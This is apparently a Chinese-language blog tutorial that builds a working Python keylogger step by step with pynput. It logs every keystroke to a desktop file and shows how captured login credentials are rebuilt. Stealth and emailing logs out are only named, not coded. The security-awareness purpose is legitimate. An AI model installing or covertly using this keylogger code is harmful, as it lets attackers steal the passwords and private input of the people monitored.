Loading episodes…
0:00 0:00

网络安全入门:用 Python 构建一个简单的键盘记录器

00:00
BACK TO HOME

网络安全入门:用 Python 构建一个简单的键盘记录器

10xTeam February 17, 2026 3 min read

大家好。

今天我们继续我们的网络安全系列。

我们今天要讨论的工具是键盘记录器(Keylogger)。

什么是键盘记录器?

键盘记录器是一种工具。

它可以捕获你在键盘上输入的所有内容,甚至是鼠标点击。

然后将这些信息保存到一个文件中。

更高级的版本甚至可以自动运行,并将捕获的文件在线发送

它是如何工作的?

让我们看看这个工具的实际操作。

首先,你运行一个普通的 Python 文件。

然后,你正常地上网,比如打开 Google,搜索“Facebook”。

你进入登录页面,输入你的电子邮件和密码。

让我们输入一个示例电子邮件: [email protected]

然后输入你的密码。

你点击“登录”,完全没有察觉到任何异常。

一切看起来都很正常

但如果你回到桌面,打开一个特定的文本文件…

你会发现你输入的所有内容都被记录下来了。

首先,你输入了“Facebook”。

然后是“mohamed.ahmed”。

文件中可能会显示 Key.shift 这样的特殊按键。

比如,Key.shift 后面跟着一个字母,意味着你输入了一个大写字母

Key.shift 加上某个键也可能代表一个特殊符号,比如 @

通过解析这个文件,攻击者就能重建你的密码

让我们开始编码

那么,我们如何构建它呢?

下面的流程图总结了我们将要采取的步骤。

graph TD
    A[开始] --> B[导入库: pynput, os, datetime];
    B --> C[设置日志文件路径 (桌面)];
    C --> D{按键事件};
    D -- 普通字符 --> E[直接写入文件];
    D -- 特殊按键 --> F[处理后写入文件 (例如, 空格, 回车)];
    E --> G[启动键盘监听器];
    F --> G;
    G --> H[程序持续运行,记录按键];
    H --> I[结束];

第一步:导入必要的库

和往常一样,要创建一个工具,你首先需要导入它的库。

我们需要 pynput 库,它是一个强大的库,可以控制和监听输入设备。

pynput 可以控制键盘和鼠标,但我们只需要键盘部分。

from pynput import keyboard

接下来,我们需要与操作系统交互来保存文件。

我们使用 os 库。

import os

最后,我们需要处理时间。

为什么?因为用户可能会多次运行程序。

我们希望用时间戳来命名日志文件,以便区分。

from datetime import datetime

第二步:设置文件路径

我们需要定义日志文件的保存位置。

让我们把它保存在桌面上,这样容易找到。

我们创建一个变量来存储桌面路径。

desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")

现在,我们定义日志文件的完整路径和名称。

它将是一个文本文件,位于我们刚刚定义的桌面路径上。

log_file = os.path.join(desktop_path, "keyboard_history.txt")

第三步:创建写入文件的函数

现在,让我们创建一个函数,负责将按键写入文件。

这是代码的核心部分,请密切关注。

def write_to_file(key_str):
    with open(log_file, "a", encoding="utf-8") as f:
        f.write(key_str)

让我们分解一下这个函数:

  • with open(...) 确保文件在使用后自动关闭
  • log_file 是我们要写入的目标文件。
  • 模式 "a" 代表 追加(append)。这意味着我们会在文件末尾添加新内容,而不会覆盖旧内容。
  • encoding="utf-8" 至关重要。

[!TIP] 如果不指定 utf-8 编码,你的记录器将只支持英文字符。

使用 utf-8 可以确保它也能正确记录中文、阿拉伯语或各种符号

第四步:处理按键事件

接下来,我们需要一个函数来捕获键盘上的每一次按键。

我们称之为 on_press

def on_press(key):
    # ... a bit of logic here

在这个函数内部,我们需要处理两种类型的按键:

  1. 普通字符 (如 ‘a’, ‘b’, ‘1’, ‘2’)
  2. 特殊按键 (如 ‘Space’, ‘Enter’, ‘Shift’)

我们使用 try-except 块来区分它们。

def on_press(key):
    try:
        # 尝试将其作为普通字符写入
        write_to_file(str(key.char))
    except AttributeError:
        # 如果失败,则将其作为特殊按键处理
        if key == keyboard.Key.space:
            write_to_file(" ")
        elif key == keyboard.Key.enter:
            write_to_file("\n")
        else:
            # 对于其他特殊按键(Shift, Ctrl 等),记录其名称
            write_to_file(f" [{key.name}] ")
  • try 块尝试获取 key.char,这只对普通字符有效。
  • 如果按键是特殊键(如 Shift),key.char 会引发 AttributeError
  • except 块捕获这个错误,并对特殊按键进行特殊处理。
  • 空格被记录为一个空格字符。
  • 回车被记录为一个换行符 (\n)。
  • 其他所有特殊按键(如 Ctrl, Alt, Esc)则记录它们的名称。

第五步:启动监听器

现在,我们需要一个主函数来启动整个过程。

def main():
    print(f"Keylogger is running. Logging to: {log_file}")

    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()

这里的 keyboard.Listener 是魔法发生的地方。

它会创建一个监听器线程,在后台运行。

每当有按键被按下时 (on_press),它就会调用我们之前定义的 on_press 函数。

listener.join() 是一个关键命令。

它会阻塞主程序,防止脚本在启动监听器后立即退出。

这确保了我们的键盘记录器会持续运行

第六步:运行主程序

最后,我们添加标准的 Python 入口点。

这段代码确保 main() 函数只在脚本被直接执行时运行。

if __name__ == "__main__":
    main()

恭喜!你已经构建了一个基本的键盘记录器。

重要声明和后续步骤

[!WARNING] 我对任何滥用此信息的行为不承担任何责任。

这个工具仅用于教育和安全意识目的。

你可能会问,为什么这个版本不危险?

因为它缺少一些使键盘记录器真正危险的高级功能

  • 隐身模式:在后台完全静默运行。
  • 远程存储:将日志保存到桌面以外的隐蔽位置。
  • 邮件发送:自动将捕获的日志通过电子邮件发送给攻击者。

了解这些工具的工作原理,可以帮助你防范它们。

例如,当心你下载的破解软件,它可能就包含着这样的记录器。

敬请期待更多安全工具的介绍。


Join the 10xdev Community

Subscribe and get 8+ free PDFs that contain detailed roadmaps with recommended learning periods for each programming language or field, along with links to free resources such as books, YouTube tutorials, and courses with certificates.

Audio Interrupted

We lost the audio stream. Retry with shorter sentences?